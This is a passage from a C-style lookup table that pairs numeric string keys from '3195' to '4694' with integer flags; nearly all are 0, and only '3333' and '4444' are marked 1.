}, { "3195", 0 }, { "3196", 0 }, { "3197", 0 }, { "3198", 0 }, { "3199", 0 }, { "3200", 0 }, { "3201", 0 }, { "3202", 0 }, { "3203", 0 }, { "3204", 0 }, { "3205", 0 }, { "3206", 0 }, { "3207", 0 }, { "3208", 0 }, { "3209", 0 }, { "3210", 0 }, { "3211", 0 }, { "3212", 0 }, { "3213", 0 }, { "3214", 0 }, { "3215", 0 }, { "3216", 0 }, { "3217", 0 }, { "3218", 0 }, { "3219", 0 }, { "3220", 0 }, { "3221", 0 }, { "3222", 0 }, { "3223", 0 }, { "3224", 0 }, { "3225", 0 }, { "3226", 0 }, { "3227", 0 }, { "3228", 0 }, { "3229", 0 }, { "3230", 0 }, { "3231", 0 }, { "3232", 0 }, { "3233", 0 }, { "3234", 0 }, { "3235", 0 }, { "3236", 0 }, { "3237", 0 }, { "3238", 0 }, { "3239", 0 }, { "3240", 0 }, { "3241", 0 }, { "3242", 0 }, { "3243", 0 }, { "3244", 0 }, { "3245", 0 }, { "3246", 0 }, { "3247", 0 }, { "3248", 0 }, { "3249", 0 }, { "3250", 0 }, { "3251", 0 }, { "3252", 0 }, { "3253", 0 }, { "3254", 0 }, { "3255", 0 }, { "3256", 0 }, { "3257", 0 }, { "3258", 0 }, { "3259", 0 }, { "3260", 0 }, { "3261", 0 }, { "3262", 0 }, { "3263", 0 }, { "3264", 0 }, { "3265", 0 }, { "3266", 0 }, { "3267", 0 }, { "3268", 0 }, { "3269", 0 }, { "3270", 0 }, { "3271", 0 }, { "3272", 0 }, { "3273", 0 }, { "3274", 0 }, { "3275", 0 }, { "3276", 0 }, { "3277", 0 }, { "3278", 0 }, { "3279", 0 }, { "3280", 0 }, { "3281", 0 }, { "3282", 0 }, { "3283", 0 }, { "3284", 0 }, { "3285", 0 }, { "3286", 0 }, { "3287", 0 }, { "3288", 0 }, { "3289", 0 }, { "3290", 0 }, { "3291", 0 }, { "3292", 0 }, { "3293", 0 }, { "3294", 0 }, { "3295", 0 }, { "3296", 0 }, { "3297", 0 }, { "3298", 0 }, { "3299", 0 }, { "3300", 0 }, { "3301", 0 }, { "3302", 0 }, { "3303", 0 }, { "3304", 0 }, { "3305", 0 }, { "3306", 0 }, { "3307", 0 }, { "3308", 0 }, { "3309", 0 }, { "3310", 0 }, { "3311", 0 }, { "3312", 0 }, { "3313", 0 }, { "3314", 0 }, { "3315", 0 }, { "3316", 0 }, { "3317", 0 }, { "3318", 0 }, { "3319", 0 }, { "3320", 0 }, { "3321", 0 }, { "3322", 0 }, { "3323", 0 }, { "3324", 0 }, { "3325", 0 }, { "3326", 0 }, { "3327", 0 }, { "3328", 0 }, { "3329", 0 }, { "3330", 0 }, { "3331", 0 }, { "3332", 0 }, { "3333", 1 }, { "3334", 0 }, { "3335", 0 }, { "3336", 0 }, { "3337", 0 }, { "3338", 0 }, { "3339", 0 }, { "3340", 0 }, { "3341", 0 }, { "3342", 0 }, { "3343", 0 }, { "3344", 0 }, { "3345", 0 }, { "3346", 0 }, { "3347", 0 }, { "3348", 0 }, { "3349", 0 }, { "3350", 0 }, { "3351", 0 }, { "3352", 0 }, { "3353", 0 }, { "3354", 0 }, { "3355", 0 }, { "3356", 0 }, { "3357", 0 }, { "3358", 0 }, { "3359", 0 }, { "3360", 0 }, { "3361", 0 }, { "3362", 0 }, { "3363", 0 }, { "3364", 0 }, { "3365", 0 }, { "3366", 0 }, { "3367", 0 }, { "3368", 0 }, { "3369", 0 }, { "3370", 0 }, { "3371", 0 }, { "3372", 0 }, { "3373", 0 }, { "3374", 0 }, { "3375", 0 }, { "3376", 0 }, { "3377", 0 }, { "3378", 0 }, { "3379", 0 }, { "3380", 0 }, { "3381", 0 }, { "3382", 0 }, { "3383", 0 }, { "3384", 0 }, { "3385", 0 }, { "3386", 0 }, { "3387", 0 }, { "3388", 0 }, { "3389", 0 }, { "3390", 0 }, { "3391", 0 }, { "3392", 0 }, { "3393", 0 }, { "3394", 0 }, { "3395", 0 }, { "3396", 0 }, { "3397", 0 }, { "3398", 0 }, { "3399", 0 }, { "3400", 0 }, { "3401", 0 }, { "3402", 0 }, { "3403", 0 }, { "3404", 0 }, { "3405", 0 }, { "3406", 0 }, { "3407", 0 }, { "3408", 0 }, { "3409", 0 }, { "3410", 0 }, { "3411", 0 }, { "3412", 0 }, { "3413", 0 }, { "3414", 0 }, { "3415", 0 }, { "3416", 0 }, { "3417", 0 }, { "3418", 0 }, { "3419", 0 }, { "3420", 0 }, { "3421", 0 }, { "3422", 0 }, { "3423", 0 }, { "3424", 0 }, { "3425", 0 }, { "3426", 0 }, { "3427", 0 }, { "3428", 0 }, { "3429", 0 }, { "3430", 0 }, { "3431", 0 }, { "3432", 0 }, { "3433", 0 }, { "3434", 0 }, { "3435", 0 }, { "3436", 0 }, { "3437", 0 }, { "3438", 0 }, { "3439", 0 }, { "3440", 0 }, { "3441", 0 }, { "3442", 0 }, { "3443", 0 }, { "3444", 0 }, { "3445", 0 }, { "3446", 0 }, { "3447", 0 }, { "3448", 0 }, { "3449", 0 }, { "3450", 0 }, { "3451", 0 }, { "3452", 0 }, { "3453", 0 }, { "3454", 0 }, { "3455", 0 }, { "3456", 0 }, { "3457", 0 }, { "3458", 0 }, { "3459", 0 }, { "3460", 0 }, { "3461", 0 }, { "3462", 0 }, { "3463", 0 }, { "3464", 0 }, { "3465", 0 }, { "3466", 0 }, { "3467", 0 }, { "3468", 0 }, { "3469", 0 }, { "3470", 0 }, { "3471", 0 }, { "3472", 0 }, { "3473", 0 }, { "3474", 0 }, { "3475", 0 }, { "3476", 0 }, { "3477", 0 }, { "3478", 0 }, { "3479", 0 }, { "3480", 0 }, { "3481", 0 }, { "3482", 0 }, { "3483", 0 }, { "3484", 0 }, { "3485", 0 }, { "3486", 0 }, { "3487", 0 }, { "3488", 0 }, { "3489", 0 }, { "3490", 0 }, { "3491", 0 }, { "3492", 0 }, { "3493", 0 }, { "3494", 0 }, { "3495", 0 }, { "3496", 0 }, { "3497", 0 }, { "3498", 0 }, { "3499", 0 }, { "3500", 0 }, { "3501", 0 }, { "3502", 0 }, { "3503", 0 }, { "3504", 0 }, { "3505", 0 }, { "3506", 0 }, { "3507", 0 }, { "3508", 0 }, { "3509", 0 }, { "3510", 0 }, { "3511", 0 }, { "3512", 0 }, { "3513", 0 }, { "3514", 0 }, { "3515", 0 }, { "3516", 0 }, { "3517", 0 }, { "3518", 0 }, { "3519", 0 }, { "3520", 0 }, { "3521", 0 }, { "3522", 0 }, { "3523", 0 }, { "3524", 0 }, { "3525", 0 }, { "3526", 0 }, { "3527", 0 }, { "3528", 0 }, { "3529", 0 }, { "3530", 0 }, { "3531", 0 }, { "3532", 0 }, { "3533", 0 }, { "3534", 0 }, { "3535", 0 }, { "3536", 0 }, { "3537", 0 }, { "3538", 0 }, { "3539", 0 }, { "3540", 0 }, { "3541", 0 }, { "3542", 0 }, { "3543", 0 }, { "3544", 0 }, { "3545", 0 }, { "3546", 0 }, { "3547", 0 }, { "3548", 0 }, { "3549", 0 }, { "3550", 0 }, { "3551", 0 }, { "3552", 0 }, { "3553", 0 }, { "3554", 0 }, { "3555", 0 }, { "3556", 0 }, { "3557", 0 }, { "3558", 0 }, { "3559", 0 }, { "3560", 0 }, { "3561", 0 }, { "3562", 0 }, { "3563", 0 }, { "3564", 0 }, { "3565", 0 }, { "3566", 0 }, { "3567", 0 }, { "3568", 0 }, { "3569", 0 }, { "3570", 0 }, { "3571", 0 }, { "3572", 0 }, { "3573", 0 }, { "3574", 0 }, { "3575", 0 }, { "3576", 0 }, { "3577", 0 }, { "3578", 0 }, { "3579", 0 }, { "3580", 0 }, { "3581", 0 }, { "3582", 0 }, { "3583", 0 }, { "3584", 0 }, { "3585", 0 }, { "3586", 0 }, { "3587", 0 }, { "3588", 0 }, { "3589", 0 }, { "3590", 0 }, { "3591", 0 }, { "3592", 0 }, { "3593", 0 }, { "3594", 0 }, { "3595", 0 }, { "3596", 0 }, { "3597", 0 }, { "3598", 0 }, { "3599", 0 }, { "3600", 0 }, { "3601", 0 }, { "3602", 0 }, { "3603", 0 }, { "3604", 0 }, { "3605", 0 }, { "3606", 0 }, { "3607", 0 }, { "3608", 0 }, { "3609", 0 }, { "3610", 0 }, { "3611", 0 }, { "3612", 0 }, { "3613", 0 }, { "3614", 0 }, { "3615", 0 }, { "3616", 0 }, { "3617", 0 }, { "3618", 0 }, { "3619", 0 }, { "3620", 0 }, { "3621", 0 }, { "3622", 0 }, { "3623", 0 }, { "3624", 0 }, { "3625", 0 }, { "3626", 0 }, { "3627", 0 }, { "3628", 0 }, { "3629", 0 }, { "3630", 0 }, { "3631", 0 }, { "3632", 0 }, { "3633", 0 }, { "3634", 0 }, { "3635", 0 }, { "3636", 0 }, { "3637", 0 }, { "3638", 0 }, { "3639", 0 }, { "3640", 0 }, { "3641", 0 }, { "3642", 0 }, { "3643", 0 }, { "3644", 0 }, { "3645", 0 }, { "3646", 0 }, { "3647", 0 }, { "3648", 0 }, { "3649", 0 }, { "3650", 0 }, { "3651", 0 }, { "3652", 0 }, { "3653", 0 }, { "3654", 0 }, { "3655", 0 }, { "3656", 0 }, { "3657", 0 }, { "3658", 0 }, { "3659", 0 }, { "3660", 0 }, { "3661", 0 }, { "3662", 0 }, { "3663", 0 }, { "3664", 0 }, { "3665", 0 }, { "3666", 0 }, { "3667", 0 }, { "3668", 0 }, { "3669", 0 }, { "3670", 0 }, { "3671", 0 }, { "3672", 0 }, { "3673", 0 }, { "3674", 0 }, { "3675", 0 }, { "3676", 0 }, { "3677", 0 }, { "3678", 0 }, { "3679", 0 }, { "3680", 0 }, { "3681", 0 }, { "3682", 0 }, { "3683", 0 }, { "3684", 0 }, { "3685", 0 }, { "3686", 0 }, { "3687", 0 }, { "3688", 0 }, { "3689", 0 }, { "3690", 0 }, { "3691", 0 }, { "3692", 0 }, { "3693", 0 }, { "3694", 0 }, { "3695", 0 }, { "3696", 0 }, { "3697", 0 }, { "3698", 0 }, { "3699", 0 }, { "3700", 0 }, { "3701", 0 }, { "3702", 0 }, { "3703", 0 }, { "3704", 0 }, { "3705", 0 }, { "3706", 0 }, { "3707", 0 }, { "3708", 0 }, { "3709", 0 }, { "3710", 0 }, { "3711", 0 }, { "3712", 0 }, { "3713", 0 }, { "3714", 0 }, { "3715", 0 }, { "3716", 0 }, { "3717", 0 }, { "3718", 0 }, { "3719", 0 }, { "3720", 0 }, { "3721", 0 }, { "3722", 0 }, { "3723", 0 }, { "3724", 0 }, { "3725", 0 }, { "3726", 0 }, { "3727", 0 }, { "3728", 0 }, { "3729", 0 }, { "3730", 0 }, { "3731", 0 }, { "3732", 0 }, { "3733", 0 }, { "3734", 0 }, { "3735", 0 }, { "3736", 0 }, { "3737", 0 }, { "3738", 0 }, { "3739", 0 }, { "3740", 0 }, { "3741", 0 }, { "3742", 0 }, { "3743", 0 }, { "3744", 0 }, { "3745", 0 }, { "3746", 0 }, { "3747", 0 }, { "3748", 0 }, { "3749", 0 }, { "3750", 0 }, { "3751", 0 }, { "3752", 0 }, { "3753", 0 }, { "3754", 0 }, { "3755", 0 }, { "3756", 0 }, { "3757", 0 }, { "3758", 0 }, { "3759", 0 }, { "3760", 0 }, { "3761", 0 }, { "3762", 0 }, { "3763", 0 }, { "3764", 0 }, { "3765", 0 }, { "3766", 0 }, { "3767", 0 }, { "3768", 0 }, { "3769", 0 }, { "3770", 0 }, { "3771", 0 }, { "3772", 0 }, { "3773", 0 }, { "3774", 0 }, { "3775", 0 }, { "3776", 0 }, { "3777", 0 }, { "3778", 0 }, { "3779", 0 }, { "3780", 0 }, { "3781", 0 }, { "3782", 0 }, { "3783", 0 }, { "3784", 0 }, { "3785", 0 }, { "3786", 0 }, { "3787", 0 }, { "3788", 0 }, { "3789", 0 }, { "3790", 0 }, { "3791", 0 }, { "3792", 0 }, { "3793", 0 }, { "3794", 0 }, { "3795", 0 }, { "3796", 0 }, { "3797", 0 }, { "3798", 0 }, { "3799", 0 }, { "3800", 0 }, { "3801", 0 }, { "3802", 0 }, { "3803", 0 }, { "3804", 0 }, { "3805", 0 }, { "3806", 0 }, { "3807", 0 }, { "3808", 0 }, { "3809", 0 }, { "3810", 0 }, { "3811", 0 }, { "3812", 0 }, { "3813", 0 }, { "3814", 0 }, { "3815", 0 }, { "3816", 0 }, { "3817", 0 }, { "3818", 0 }, { "3819", 0 }, { "3820", 0 }, { "3821", 0 }, { "3822", 0 }, { "3823", 0 }, { "3824", 0 }, { "3825", 0 }, { "3826", 0 }, { "3827", 0 }, { "3828", 0 }, { "3829", 0 }, { "3830", 0 }, { "3831", 0 }, { "3832", 0 }, { "3833", 0 }, { "3834", 0 }, { "3835", 0 }, { "3836", 0 }, { "3837", 0 }, { "3838", 0 }, { "3839", 0 }, { "3840", 0 }, { "3841", 0 }, { "3842", 0 }, { "3843", 0 }, { "3844", 0 }, { "3845", 0 }, { "3846", 0 }, { "3847", 0 }, { "3848", 0 }, { "3849", 0 }, { "3850", 0 }, { "3851", 0 }, { "3852", 0 }, { "3853", 0 }, { "3854", 0 }, { "3855", 0 }, { "3856", 0 }, { "3857", 0 }, { "3858", 0 }, { "3859", 0 }, { "3860", 0 }, { "3861", 0 }, { "3862", 0 }, { "3863", 0 }, { "3864", 0 }, { "3865", 0 }, { "3866", 0 }, { "3867", 0 }, { "3868", 0 }, { "3869", 0 }, { "3870", 0 }, { "3871", 0 }, { "3872", 0 }, { "3873", 0 }, { "3874", 0 }, { "3875", 0 }, { "3876", 0 }, { "3877", 0 }, { "3878", 0 }, { "3879", 0 }, { "3880", 0 }, { "3881", 0 }, { "3882", 0 }, { "3883", 0 }, { "3884", 0 }, { "3885", 0 }, { "3886", 0 }, { "3887", 0 }, { "3888", 0 }, { "3889", 0 }, { "3890", 0 }, { "3891", 0 }, { "3892", 0 }, { "3893", 0 }, { "3894", 0 }, { "3895", 0 }, { "3896", 0 }, { "3897", 0 }, { "3898", 0 }, { "3899", 0 }, { "3900", 0 }, { "3901", 0 }, { "3902", 0 }, { "3903", 0 }, { "3904", 0 }, { "3905", 0 }, { "3906", 0 }, { "3907", 0 }, { "3908", 0 }, { "3909", 0 }, { "3910", 0 }, { "3911", 0 }, { "3912", 0 }, { "3913", 0 }, { "3914", 0 }, { "3915", 0 }, { "3916", 0 }, { "3917", 0 }, { "3918", 0 }, { "3919", 0 }, { "3920", 0 }, { "3921", 0 }, { "3922", 0 }, { "3923", 0 }, { "3924", 0 }, { "3925", 0 }, { "3926", 0 }, { "3927", 0 }, { "3928", 0 }, { "3929", 0 }, { "3930", 0 }, { "3931", 0 }, { "3932", 0 }, { "3933", 0 }, { "3934", 0 }, { "3935", 0 }, { "3936", 0 }, { "3937", 0 }, { "3938", 0 }, { "3939", 0 }, { "3940", 0 }, { "3941", 0 }, { "3942", 0 }, { "3943", 0 }, { "3944", 0 }, { "3945", 0 }, { "3946", 0 }, { "3947", 0 }, { "3948", 0 }, { "3949", 0 }, { "3950", 0 }, { "3951", 0 }, { "3952", 0 }, { "3953", 0 }, { "3954", 0 }, { "3955", 0 }, { "3956", 0 }, { "3957", 0 }, { "3958", 0 }, { "3959", 0 }, { "3960", 0 }, { "3961", 0 }, { "3962", 0 }, { "3963", 0 }, { "3964", 0 }, { "3965", 0 }, { "3966", 0 }, { "3967", 0 }, { "3968", 0 }, { "3969", 0 }, { "3970", 0 }, { "3971", 0 }, { "3972", 0 }, { "3973", 0 }, { "3974", 0 }, { "3975", 0 }, { "3976", 0 }, { "3977", 0 }, { "3978", 0 }, { "3979", 0 }, { "3980", 0 }, { "3981", 0 }, { "3982", 0 }, { "3983", 0 }, { "3984", 0 }, { "3985", 0 }, { "3986", 0 }, { "3987", 0 }, { "3988", 0 }, { "3989", 0 }, { "3990", 0 }, { "3991", 0 }, { "3992", 0 }, { "3993", 0 }, { "3994", 0 }, { "3995", 0 }, { "3996", 0 }, { "3997", 0 }, { "3998", 0 }, { "3999", 0 }, { "4000", 0 }, { "4001", 0 }, { "4002", 0 }, { "4003", 0 }, { "4004", 0 }, { "4005", 0 }, { "4006", 0 }, { "4007", 0 }, { "4008", 0 }, { "4009", 0 }, { "4010", 0 }, { "4011", 0 }, { "4012", 0 }, { "4013", 0 }, { "4014", 0 }, { "4015", 0 }, { "4016", 0 }, { "4017", 0 }, { "4018", 0 }, { "4019", 0 }, { "4020", 0 }, { "4021", 0 }, { "4022", 0 }, { "4023", 0 }, { "4024", 0 }, { "4025", 0 }, { "4026", 0 }, { "4027", 0 }, { "4028", 0 }, { "4029", 0 }, { "4030", 0 }, { "4031", 0 }, { "4032", 0 }, { "4033", 0 }, { "4034", 0 }, { "4035", 0 }, { "4036", 0 }, { "4037", 0 }, { "4038", 0 }, { "4039", 0 }, { "4040", 0 }, { "4041", 0 }, { "4042", 0 }, { "4043", 0 }, { "4044", 0 }, { "4045", 0 }, { "4046", 0 }, { "4047", 0 }, { "4048", 0 }, { "4049", 0 }, { "4050", 0 }, { "4051", 0 }, { "4052", 0 }, { "4053", 0 }, { "4054", 0 }, { "4055", 0 }, { "4056", 0 }, { "4057", 0 }, { "4058", 0 }, { "4059", 0 }, { "4060", 0 }, { "4061", 0 }, { "4062", 0 }, { "4063", 0 }, { "4064", 0 }, { "4065", 0 }, { "4066", 0 }, { "4067", 0 }, { "4068", 0 }, { "4069", 0 }, { "4070", 0 }, { "4071", 0 }, { "4072", 0 }, { "4073", 0 }, { "4074", 0 }, { "4075", 0 }, { "4076", 0 }, { "4077", 0 }, { "4078", 0 }, { "4079", 0 }, { "4080", 0 }, { "4081", 0 }, { "4082", 0 }, { "4083", 0 }, { "4084", 0 }, { "4085", 0 }, { "4086", 0 }, { "4087", 0 }, { "4088", 0 }, { "4089", 0 }, { "4090", 0 }, { "4091", 0 }, { "4092", 0 }, { "4093", 0 }, { "4094", 0 }, { "4095", 0 }, { "4096", 0 }, { "4097", 0 }, { "4098", 0 }, { "4099", 0 }, { "4100", 0 }, { "4101", 0 }, { "4102", 0 }, { "4103", 0 }, { "4104", 0 }, { "4105", 0 }, { "4106", 0 }, { "4107", 0 }, { "4108", 0 }, { "4109", 0 }, { "4110", 0 }, { "4111", 0 }, { "4112", 0 }, { "4113", 0 }, { "4114", 0 }, { "4115", 0 }, { "4116", 0 }, { "4117", 0 }, { "4118", 0 }, { "4119", 0 }, { "4120", 0 }, { "4121", 0 }, { "4122", 0 }, { "4123", 0 }, { "4124", 0 }, { "4125", 0 }, { "4126", 0 }, { "4127", 0 }, { "4128", 0 }, { "4129", 0 }, { "4130", 0 }, { "4131", 0 }, { "4132", 0 }, { "4133", 0 }, { "4134", 0 }, { "4135", 0 }, { "4136", 0 }, { "4137", 0 }, { "4138", 0 }, { "4139", 0 }, { "4140", 0 }, { "4141", 0 }, { "4142", 0 }, { "4143", 0 }, { "4144", 0 }, { "4145", 0 }, { "4146", 0 }, { "4147", 0 }, { "4148", 0 }, { "4149", 0 }, { "4150", 0 }, { "4151", 0 }, { "4152", 0 }, { "4153", 0 }, { "4154", 0 }, { "4155", 0 }, { "4156", 0 }, { "4157", 0 }, { "4158", 0 }, { "4159", 0 }, { "4160", 0 }, { "4161", 0 }, { "4162", 0 }, { "4163", 0 }, { "4164", 0 }, { "4165", 0 }, { "4166", 0 }, { "4167", 0 }, { "4168", 0 }, { "4169", 0 }, { "4170", 0 }, { "4171", 0 }, { "4172", 0 }, { "4173", 0 }, { "4174", 0 }, { "4175", 0 }, { "4176", 0 }, { "4177", 0 }, { "4178", 0 }, { "4179", 0 }, { "4180", 0 }, { "4181", 0 }, { "4182", 0 }, { "4183", 0 }, { "4184", 0 }, { "4185", 0 }, { "4186", 0 }, { "4187", 0 }, { "4188", 0 }, { "4189", 0 }, { "4190", 0 }, { "4191", 0 }, { "4192", 0 }, { "4193", 0 }, { "4194", 0 }, { "4195", 0 }, { "4196", 0 }, { "4197", 0 }, { "4198", 0 }, { "4199", 0 }, { "4200", 0 }, { "4201", 0 }, { "4202", 0 }, { "4203", 0 }, { "4204", 0 }, { "4205", 0 }, { "4206", 0 }, { "4207", 0 }, { "4208", 0 }, { "4209", 0 }, { "4210", 0 }, { "4211", 0 }, { "4212", 0 }, { "4213", 0 }, { "4214", 0 }, { "4215", 0 }, { "4216", 0 }, { "4217", 0 }, { "4218", 0 }, { "4219", 0 }, { "4220", 0 }, { "4221", 0 }, { "4222", 0 }, { "4223", 0 }, { "4224", 0 }, { "4225", 0 }, { "4226", 0 }, { "4227", 0 }, { "4228", 0 }, { "4229", 0 }, { "4230", 0 }, { "4231", 0 }, { "4232", 0 }, { "4233", 0 }, { "4234", 0 }, { "4235", 0 }, { "4236", 0 }, { "4237", 0 }, { "4238", 0 }, { "4239", 0 }, { "4240", 0 }, { "4241", 0 }, { "4242", 0 }, { "4243", 0 }, { "4244", 0 }, { "4245", 0 }, { "4246", 0 }, { "4247", 0 }, { "4248", 0 }, { "4249", 0 }, { "4250", 0 }, { "4251", 0 }, { "4252", 0 }, { "4253", 0 }, { "4254", 0 }, { "4255", 0 }, { "4256", 0 }, { "4257", 0 }, { "4258", 0 }, { "4259", 0 }, { "4260", 0 }, { "4261", 0 }, { "4262", 0 }, { "4263", 0 }, { "4264", 0 }, { "4265", 0 }, { "4266", 0 }, { "4267", 0 }, { "4268", 0 }, { "4269", 0 }, { "4270", 0 }, { "4271", 0 }, { "4272", 0 }, { "4273", 0 }, { "4274", 0 }, { "4275", 0 }, { "4276", 0 }, { "4277", 0 }, { "4278", 0 }, { "4279", 0 }, { "4280", 0 }, { "4281", 0 }, { "4282", 0 }, { "4283", 0 }, { "4284", 0 }, { "4285", 0 }, { "4286", 0 }, { "4287", 0 }, { "4288", 0 }, { "4289", 0 }, { "4290", 0 }, { "4291", 0 }, { "4292", 0 }, { "4293", 0 }, { "4294", 0 }, { "4295", 0 }, { "4296", 0 }, { "4297", 0 }, { "4298", 0 }, { "4299", 0 }, { "4300", 0 }, { "4301", 0 }, { "4302", 0 }, { "4303", 0 }, { "4304", 0 }, { "4305", 0 }, { "4306", 0 }, { "4307", 0 }, { "4308", 0 }, { "4309", 0 }, { "4310", 0 }, { "4311", 0 }, { "4312", 0 }, { "4313", 0 }, { "4314", 0 }, { "4315", 0 }, { "4316", 0 }, { "4317", 0 }, { "4318", 0 }, { "4319", 0 }, { "4320", 0 }, { "4321", 0 }, { "4322", 0 }, { "4323", 0 }, { "4324", 0 }, { "4325", 0 }, { "4326", 0 }, { "4327", 0 }, { "4328", 0 }, { "4329", 0 }, { "4330", 0 }, { "4331", 0 }, { "4332", 0 }, { "4333", 0 }, { "4334", 0 }, { "4335", 0 }, { "4336", 0 }, { "4337", 0 }, { "4338", 0 }, { "4339", 0 }, { "4340", 0 }, { "4341", 0 }, { "4342", 0 }, { "4343", 0 }, { "4344", 0 }, { "4345", 0 }, { "4346", 0 }, { "4347", 0 }, { "4348", 0 }, { "4349", 0 }, { "4350", 0 }, { "4351", 0 }, { "4352", 0 }, { "4353", 0 }, { "4354", 0 }, { "4355", 0 }, { "4356", 0 }, { "4357", 0 }, { "4358", 0 }, { "4359", 0 }, { "4360", 0 }, { "4361", 0 }, { "4362", 0 }, { "4363", 0 }, { "4364", 0 }, { "4365", 0 }, { "4366", 0 }, { "4367", 0 }, { "4368", 0 }, { "4369", 0 }, { "4370", 0 }, { "4371", 0 }, { "4372", 0 }, { "4373", 0 }, { "4374", 0 }, { "4375", 0 }, { "4376", 0 }, { "4377", 0 }, { "4378", 0 }, { "4379", 0 }, { "4380", 0 }, { "4381", 0 }, { "4382", 0 }, { "4383", 0 }, { "4384", 0 }, { "4385", 0 }, { "4386", 0 }, { "4387", 0 }, { "4388", 0 }, { "4389", 0 }, { "4390", 0 }, { "4391", 0 }, { "4392", 0 }, { "4393", 0 }, { "4394", 0 }, { "4395", 0 }, { "4396", 0 }, { "4397", 0 }, { "4398", 0 }, { "4399", 0 }, { "4400", 0 }, { "4401", 0 }, { "4402", 0 }, { "4403", 0 }, { "4404", 0 }, { "4405", 0 }, { "4406", 0 }, { "4407", 0 }, { "4408", 0 }, { "4409", 0 }, { "4410", 0 }, { "4411", 0 }, { "4412", 0 }, { "4413", 0 }, { "4414", 0 }, { "4415", 0 }, { "4416", 0 }, { "4417", 0 }, { "4418", 0 }, { "4419", 0 }, { "4420", 0 }, { "4421", 0 }, { "4422", 0 }, { "4423", 0 }, { "4424", 0 }, { "4425", 0 }, { "4426", 0 }, { "4427", 0 }, { "4428", 0 }, { "4429", 0 }, { "4430", 0 }, { "4431", 0 }, { "4432", 0 }, { "4433", 0 }, { "4434", 0 }, { "4435", 0 }, { "4436", 0 }, { "4437", 0 }, { "4438", 0 }, { "4439", 0 }, { "4440", 0 }, { "4441", 0 }, { "4442", 0 }, { "4443", 0 }, { "4444", 1 }, { "4445", 0 }, { "4446", 0 }, { "4447", 0 }, { "4448", 0 }, { "4449", 0 }, { "4450", 0 }, { "4451", 0 }, { "4452", 0 }, { "4453", 0 }, { "4454", 0 }, { "4455", 0 }, { "4456", 0 }, { "4457", 0 }, { "4458", 0 }, { "4459", 0 }, { "4460", 0 }, { "4461", 0 }, { "4462", 0 }, { "4463", 0 }, { "4464", 0 }, { "4465", 0 }, { "4466", 0 }, { "4467", 0 }, { "4468", 0 }, { "4469", 0 }, { "4470", 0 }, { "4471", 0 }, { "4472", 0 }, { "4473", 0 }, { "4474", 0 }, { "4475", 0 }, { "4476", 0 }, { "4477", 0 }, { "4478", 0 }, { "4479", 0 }, { "4480", 0 }, { "4481", 0 }, { "4482", 0 }, { "4483", 0 }, { "4484", 0 }, { "4485", 0 }, { "4486", 0 }, { "4487", 0 }, { "4488", 0 }, { "4489", 0 }, { "4490", 0 }, { "4491", 0 }, { "4492", 0 }, { "4493", 0 }, { "4494", 0 }, { "4495", 0 }, { "4496", 0 }, { "4497", 0 }, { "4498", 0 }, { "4499", 0 }, { "4500", 0 }, { "4501", 0 }, { "4502", 0 }, { "4503", 0 }, { "4504", 0 }, { "4505", 0 }, { "4506", 0 }, { "4507", 0 }, { "4508", 0 }, { "4509", 0 }, { "4510", 0 }, { "4511", 0 }, { "4512", 0 }, { "4513", 0 }, { "4514", 0 }, { "4515", 0 }, { "4516", 0 }, { "4517", 0 }, { "4518", 0 }, { "4519", 0 }, { "4520", 0 }, { "4521", 0 }, { "4522", 0 }, { "4523", 0 }, { "4524", 0 }, { "4525", 0 }, { "4526", 0 }, { "4527", 0 }, { "4528", 0 }, { "4529", 0 }, { "4530", 0 }, { "4531", 0 }, { "4532", 0 }, { "4533", 0 }, { "4534", 0 }, { "4535", 0 }, { "4536", 0 }, { "4537", 0 }, { "4538", 0 }, { "4539", 0 }, { "4540", 0 }, { "4541", 0 }, { "4542", 0 }, { "4543", 0 }, { "4544", 0 }, { "4545", 0 }, { "4546", 0 }, { "4547", 0 }, { "4548", 0 }, { "4549", 0 }, { "4550", 0 }, { "4551", 0 }, { "4552", 0 }, { "4553", 0 }, { "4554", 0 }, { "4555", 0 }, { "4556", 0 }, { "4557", 0 }, { "4558", 0 }, { "4559", 0 }, { "4560", 0 }, { "4561", 0 }, { "4562", 0 }, { "4563", 0 }, { "4564", 0 }, { "4565", 0 }, { "4566", 0 }, { "4567", 0 }, { "4568", 0 }, { "4569", 0 }, { "4570", 0 }, { "4571", 0 }, { "4572", 0 }, { "4573", 0 }, { "4574", 0 }, { "4575", 0 }, { "4576", 0 }, { "4577", 0 }, { "4578", 0 }, { "4579", 0 }, { "4580", 0 }, { "4581", 0 }, { "4582", 0 }, { "4583", 0 }, { "4584", 0 }, { "4585", 0 }, { "4586", 0 }, { "4587", 0 }, { "4588", 0 }, { "4589", 0 }, { "4590", 0 }, { "4591", 0 }, { "4592", 0 }, { "4593", 0 }, { "4594", 0 }, { "4595", 0 }, { "4596", 0 }, { "4597", 0 }, { "4598", 0 }, { "4599", 0 }, { "4600", 0 }, { "4601", 0 }, { "4602", 0 }, { "4603", 0 }, { "4604", 0 }, { "4605", 0 }, { "4606", 0 }, { "4607", 0 }, { "4608", 0 }, { "4609", 0 }, { "4610", 0 }, { "4611", 0 }, { "4612", 0 }, { "4613", 0 }, { "4614", 0 }, { "4615", 0 }, { "4616", 0 }, { "4617", 0 }, { "4618", 0 }, { "4619", 0 }, { "4620", 0 }, { "4621", 0 }, { "4622", 0 }, { "4623", 0 }, { "4624", 0 }, { "4625", 0 }, { "4626", 0 }, { "4627", 0 }, { "4628", 0 }, { "4629", 0 }, { "4630", 0 }, { "4631", 0 }, { "4632", 0 }, { "4633", 0 }, { "4634", 0 }, { "4635", 0 }, { "4636", 0 }, { "4637", 0 }, { "4638", 0 }, { "4639", 0 }, { "4640", 0 }, { "4641", 0 }, { "4642", 0 }, { "4643", 0 }, { "4644", 0 }, { "4645", 0 }, { "4646", 0 }, { "4647", 0 }, { "4648", 0 }, { "4649", 0 }, { "4650", 0 }, { "4651", 0 }, { "4652", 0 }, { "4653", 0 }, { "4654", 0 }, { "4655", 0 }, { "4656", 0 }, { "4657", 0 }, { "4658", 0 }, { "4659", 0 }, { "4660", 0 }, { "4661", 0 }, { "4662", 0 }, { "4663", 0 }, { "4664", 0 }, { "4665", 0 }, { "4666", 0 }, { "4667", 0 }, { "4668", 0 }, { "4669", 0 }, { "4670", 0 }, { "4671", 0 }, { "4672", 0 }, { "4673", 0 }, { "4674", 0 }, { "4675", 0 }, { "4676", 0 }, { "4677", 0 }, { "4678", 0 }, { "4679", 0 }, { "4680", 0 }, { "4681", 0 }, { "4682", 0 }, { "4683", 0 }, { "4684", 0 }, { "4685", 0 }, { "4686", 0 }, { "4687", 0 }, { "4688", 0 }, { "4689", 0 }, { "4690", 0 }, { "4691", 0 }, { "4692", 0 }, { "4693", 0 }, { "4694", 0 